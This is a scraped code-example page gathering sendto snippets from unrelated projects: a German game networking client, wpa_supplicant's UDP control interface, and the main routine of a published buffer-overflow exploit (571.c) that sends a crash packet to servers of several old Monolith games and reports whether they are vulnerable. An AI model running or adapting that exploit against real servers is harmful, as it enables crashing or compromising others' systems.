  (*sc)->buf=(char *) malloc(MAXBUF);
  (*sc)->bufpos=0;
  (*sc)->status=0;
  (*sc)->rest=0;
  (*sc)->aktion=0;

#ifdef PAS_RECV
  (*sc)->rcvmsg=NULL;
  (*sc)->rcvmsgs=NULL;
  (*sc)->rcvmsgd=NULL;
#endif

  // Validate Server...
  for (timeout=10;timeout>0;timeout--) {
        b=MESNEWCLIENT;
	if (sendto ( (*sc)->fd,&b ,sizeof(mestyp), 0, (struct sockaddr *) &((*sc)->serv_addr),
				sizeof(struct sockaddr_in) ) < 0) {
		close((*sc)->fd);
                free(*sc);
		return -6;
	}
  	/* Matze: Funktioniert nicht auf allen Rechnern... */
	#ifdef WITH_ALLEGRO
	rest(1000);
	#else
  	usleep(1000);
	#endif
      
	  addrlength=sizeof(struct sockaddr_in);
        if (recvfrom ( (*sc)->fd, (char *)&b, sizeof(mestyp), 0, (struct sockaddr *) &((*sc)->serv_addr),
            			&addrlength ) > 0) {
         if (b==MESACPTCLIENT) {
          debug_print ("Server response!\n");
          return 0;
         }
         if (b==MESDENYCLIENT) {
          debug_print ("Server denied acces!\n");
          close ((*sc)->fd);
          free (*sc);
          return -7;
         }
        }
  }

  close ((*sc)->fd);
  free (*sc);
  return -8;
}
开发者ID:BackupTheBerlios,项目名称:pop,代码行数:97,代码来源:messnet.c


示例15: main

int main(int argc, char *argv[]) {
    int     sd;
    u_short port = PORT;
    struct  sockaddr_in peer;


    setbuf(stdout, NULL);

    fputs("\n"
        "\\secure\\ buffer overflow in some old Monolith games "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <server> [port(%d)]\n"
            "\n"
            "Vulnerable games            Latest versions\n"
            "  Alien versus predator 2   1.0.9.6\n"
            "  Blood 2                   2.1\n"
            "  No one lives forever      1.004\n"
            "  Shogo                     2.2\n"
            "\n"
            "Note: the return address will be overwritten by 0x%08lx\n"
            "      (only the bytes from 0x20 to 0x7f are allowed)\n"
            "\n", argv[0], port, *(u_long *)(PCK + 72));
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target is %s:%hu\n\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- Request informations:\n", stdout);
    gs_info_udp(peer.sin_addr.s_addr, port);

    fputs("- Send BOOM packet:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    if(sendto(sd, PCK, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    close(sd);

    fputs("- Check server:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);
    return(0);
}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:69,代码来源:571.c


示例16: calcclient


//.........这里部分代码省略.........
    gbufpos+=c->rest;
   }
  } else {

  // Aktion herausfinden
  if (c->status!=0) {
   b=c->status;
  } else {
   b=*((mestyp *) (gbuf+gbufpos));
   gbufpos+=2;
  }

  switch ( b ) {
   case MESSYNC:
    debug_print ("Synchronizing... \n");
    client_sync(c);
    break;

   case MESEXITSERVER:
    debug_print ("Server killed us! :(!\n");
#ifdef PAS_RECV
    c_sendmsg (c,32,2,0,0);
#endif
    break;

   case MESMESS:
    //Header lesen...
    if (gbuflen-gbufpos==0) {
     c->status=MESMESS; /* Auf Header warten */
    } else

    if (gbuflen-gbufpos < sizeof(messheader)) { /*Schit! Header ist nicht mehr
                                                  mit im Paket!*/
     debug_print ("Header zersplittet!\n");
     client_sync(c);
    } else {
     messheader *h=(messheader *) gbuf+gbufpos;
     if (gbuflen-gbufpos>=sizeof(messheader)+h->len) /* Message passt in einen
       						Buffer, GUT! */
      {
       switch (h->typ) {
        case MT_INTEGER:
         c_decompr_int (c,(char *) h);
         break;
        case MT_STRING:
         c_decompr_str (c,(char *) h);
         break;
        case MT_DATA:
         c_decompr_dat (c,(char *) h);
         break;
        default:
         debug_print ("fehlerhafte Message!\n");
         client_sync(c);
         break;
       }
      gbufpos+=sizeof(messheader)+h->len;
      c->status=0;
      }
     else { /* Message passt nicht, SCHLECHT! */
      c->status=1;
      c->rest=h->len- (sizeof(messheader)+gbuflen-gbufpos);
      c->bufpos=gbuflen-gbufpos;
      c->aktion=h->typ;
      memcpy (c->buf,h,gbuflen-gbufpos);

      gbufpos=gbuflen;
     }
    }
    break;

   default:
    debug_print ("Unbekannte Message!\n");
    client_sync(c);
  }
  gbufpos+=sizeof(mestyp);
  } // if status=0
  } // While gbufpos>0
 }

 // Queue senden...
 for (i=0;i<c->qpos;i++) {
  b=MESMESS;
  if (sendto (c->fd, &b, sizeof(mestyp),
 	0, (struct sockaddr *) &c->serv_addr, sizeof(struct sockaddr_in)) !=
        	sizeof(mestyp)) {
    debug_print ("Send Fehler!\n");
  }

  datalen=sizeof(messheader)+c->queue[i]->h.len;

  if ((unsigned long) (sendto (c->fd, &(c->queue[i]->h), datalen,
 	0, (struct sockaddr *) &c->serv_addr, sizeof(struct sockaddr_in))) !=
        	datalen) {
    debug_print ("Send Fehler!\n");
  }
  free (c->queue[i]);
 }
 // Queue leeren
 c->qpos=0;
}
开发者ID:BackupTheBerlios,项目名称:pop,代码行数:101,代码来源:messnet.c


示例17: wpa_supplicant_ctrl_iface_receive

static void wpa_supplicant_ctrl_iface_receive(int sock, void *eloop_ctx,
					      void *sock_ctx)
{
	struct wpa_supplicant *wpa_s = eloop_ctx;
	struct ctrl_iface_priv *priv = sock_ctx;
	char buf[256], *pos;
	int res;
	struct sockaddr_in from;
	socklen_t fromlen = sizeof(from);
	char *reply = NULL;
	size_t reply_len = 0;
	int new_attached = 0;
	u8 cookie[COOKIE_LEN];

	res = recvfrom(sock, buf, sizeof(buf) - 1, 0,
		       (struct sockaddr *) &from, &fromlen);
	if (res < 0) {
		perror("recvfrom(ctrl_iface)");
		return;
	}
	if (from.sin_addr.s_addr != htonl((127 << 24) | 1)) {
		/*
		 * The OS networking stack is expected to drop this kind of
		 * frames since the socket is bound to only localhost address.
		 * Just in case, drop the frame if it is coming from any other
		 * address.
		 */
		wpa_printf(MSG_DEBUG, "CTRL: Drop packet from unexpected "
			   "source %s", inet_ntoa(from.sin_addr));
		return;
	}
	buf[res] = '\0';

	if (os_strcmp(buf, "GET_COOKIE") == 0) {
		reply = wpa_supplicant_ctrl_iface_get_cookie(priv, &reply_len);
		goto done;
	}

	/*
	 * Require that the client includes a prefix with the 'cookie' value
	 * fetched with GET_COOKIE command. This is used to verify that the
	 * client has access to a bidirectional link over UDP in order to
	 * avoid attacks using forged localhost IP address even if the OS does
	 * not block such frames from remote destinations.
	 */
	if (os_strncmp(buf, "COOKIE=", 7) != 0) {
		wpa_printf(MSG_DEBUG, "CTLR: No cookie in the request - "
			   "drop request");
		return;
	}

	if (hexstr2bin(buf + 7, cookie, COOKIE_LEN) < 0) {
		wpa_printf(MSG_DEBUG, "CTLR: Invalid cookie format in the "
			   "request - drop request");
		return;
	}

	if (os_memcmp(cookie, priv->cookie, COOKIE_LEN) != 0) {
		wpa_printf(MSG_DEBUG, "CTLR: Invalid cookie in the request - "
			   "drop request");
		return;
	}

	pos = buf + 7 + 2 * COOKIE_LEN;
	while (*pos == ' ')
		pos++;

	if (os_strcmp(pos, "ATTACH") == 0) {
		if (wpa_supplicant_ctrl_iface_attach(priv, &from, fromlen))
			reply_len = 1;
		else {
			new_attached = 1;
			reply_len = 2;
		}
	} else if (os_strcmp(pos, "DETACH") == 0) {
		if (wpa_supplicant_ctrl_iface_detach(priv, &from, fromlen))
			reply_len = 1;
		else
			reply_len = 2;
	} else if (os_strncmp(pos, "LEVEL ", 6) == 0) {
		if (wpa_supplicant_ctrl_iface_level(priv, &from, fromlen,
						    pos + 6))
			reply_len = 1;
		else
			reply_len = 2;
	} else {
		reply = wpa_supplicant_ctrl_iface_process(wpa_s, pos,
							  &reply_len);
	}

 done:
	if (reply) {
		sendto(sock, reply, reply_len, 0, (struct sockaddr *) &from,
		       fromlen);
		os_free(reply);
	} else if (reply_len == 1) {
		sendto(sock, "FAIL\n", 5, 0, (struct sockaddr *) &from,
		       fromlen);
	} else if (reply_len == 2) {
		sendto(sock, "OK\n", 3, 0, (struct sockaddr *) &from,
//.........这里部分代码省略.........
开发者ID:flwh,项目名称:Alcatel_OT_985_kernel,代码行数:101,代码来源:ctrl_iface_udp.c


示例18: client

该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ sendto_channel_local函数代码示例发布时间:2022-05-30
下一篇:
C++ sendpacket函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap